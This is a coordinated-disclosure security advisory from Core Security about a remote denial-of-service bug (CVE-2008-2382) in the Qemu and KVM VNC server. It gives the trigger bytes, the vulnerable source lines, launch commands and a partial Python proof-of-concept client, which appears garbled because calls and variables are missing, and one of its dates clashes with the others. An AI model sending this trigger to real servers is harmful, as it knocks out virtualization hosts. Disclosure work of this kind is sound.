Qemu and KVM VNC server remote DoS

function showFullCode(textareaId)
theTextArea = document.getElementById(textareaId);
content = theTextArea.value.split(String.fromCharCode(10));
height = (400 + content.length % 500) % 800;
win = window.open("", "Window3", "width=800,height=" + height + ",scrollbars=yes");

" + theTextArea.innerHTML + "

return false;
Qemu and KVM VNC server remote DoS

Advisory Information

Title: Qemu and KVM VNC server remote DoS
Advisory ID: CORE-2008-1210
Advisory URL: http://www.coresecurity.com/content/vnc-remote-dos
Date published: 2009-12-22
Date of last update: 2008-12-19
Vendors contacted: Qemu and KVM teams
Release mode: Coordinated release

Vulnerability Information

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32910
CVE Name: CVE-2008-2382

Vulnerability Description

The VNC server of Qemu and KVM virtualization solutions are
vulnerable to a remote DoS, when specially crafted packets are received
by the host VNC server causing an infinite loop.

Successful exploitation causes the host server to enter an infinite loop
and cease to function. The vulnerability can be triggered remotely by
external hosts or virtualized guests. No special privileges are required
to perform the Denial of Service.

Vulnerable packages

  • Qemu 0.9.1 and older
  • kvm-79 and older

Vendor Information, Solutions and Workarounds

Qemu and KVM teams will release patches that fix this vulnerability.


This vulnerability was discovered and researched by Alfredo Ortega
from Core Security Technologies.

Technical Description / Proof of Concept Code

The function protocol_client_msg() in the file
(qemu/vnc.c in kvm-66)
is in charge of processing incoming VNC low-level messages.
A listing of the vulnerable source follows:

1185:	static int protocol_client_msg(VncState *vs, uint8_t *data, size_t len)
1186:	{
1187:	    int i;
1188:	    uint16_t limit;
1190:	    switch (data[0]) {


1201:	    case 2:
1202:		if (len == 1)
1203:		    return 4;
1205:		if (len == 4)
1206:		    return 4 + (read_u16(data, 2) * 4);

When the VNC server receives a message consisting of
\x02\x00\x00\x00 the
read_u16() function will return zero, and an
infinite loop will be triggered, because this function will be called with
the len parameter always equal to 4.

Proof of Concept

The following python script implements a basic VNC client that triggers
the vulnerability on the VNC server.

NOTE: Some VNC servers like KVM, don't bind to by default, but the server can still be reached from a guest VM
when no VNC client is attached.


Launch vulnerable qemu:

~$qemu ./test.img - -vnc

Launch attack:

~$python qemu-kvm-DoS.py localhost 5900

## vnc remote DoS

import socket
import time
import struct
import sys

if len(sys.argv)<3:
	print "Usage: %s host port" % sys.argv[0]

host = sys.argv[1] # "" # debian 4
port = int(sys.argv[2]) # 5900

s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# rec-send versions
srvversion = s.recv(100)
print "Server version: %s" % srvversion

#Security types

print "Number of security types: %d" % ord(sec[0])

# Authentication result
if auth=="\x00\x00\x00\x00":
	print "Auth ok."

# Share desktop flag: no

# Server framebuffer parameters:

# Trigger the bug


Report Timeline

  • 2008-12-10:
    Core Security Technologies notifies the Qemu, Xen and KVM teams of the vulnerability.
  • 2008-12-11:

    KVM team acknowledges notification.
  • 2008-12-12:

    Core sends technical details of the vulnerability to the KVM team.
  • 2008-12-13:

    KVM team informs that it will inform the Qemu team, since the vulnerable code
    is inherited from Qemu.
  • 2008-12-16:

    Core replies that the vulnerability is present in Qemu, KVM and Xen,
    and that its intention is to coordinate the disclosure of this issue
    with the three teams. The proposed publication date is January 5th, 2009.
  • 2008-12-16:

    Xen team acknowledges notification.
  • 2008-12-16:

    Core sends technical details to the Xen team.
  • 2008-12-16:

    Qemu team confirms the vulnerability, and has patches ready.
  • 2008-12-17:

    Xen informs that they are not vulnerable.
  • 2008-12-17:

    Core proposes to disclose the issue on December 22nd, 2008, if both Qemu and KVM have patches ready.
  • 2008-12-18:

    Qemu and KVM teams agree to publish the issue on Dec 22.
  • 2008-12-22:

    The advisory CORE-2008-1210 is published.

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:


About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web
at http://www.coresecurity.com.


The contents of this advisory are copyright (c) 2008 Core Security Technologies and
(c) 2008 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.


This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at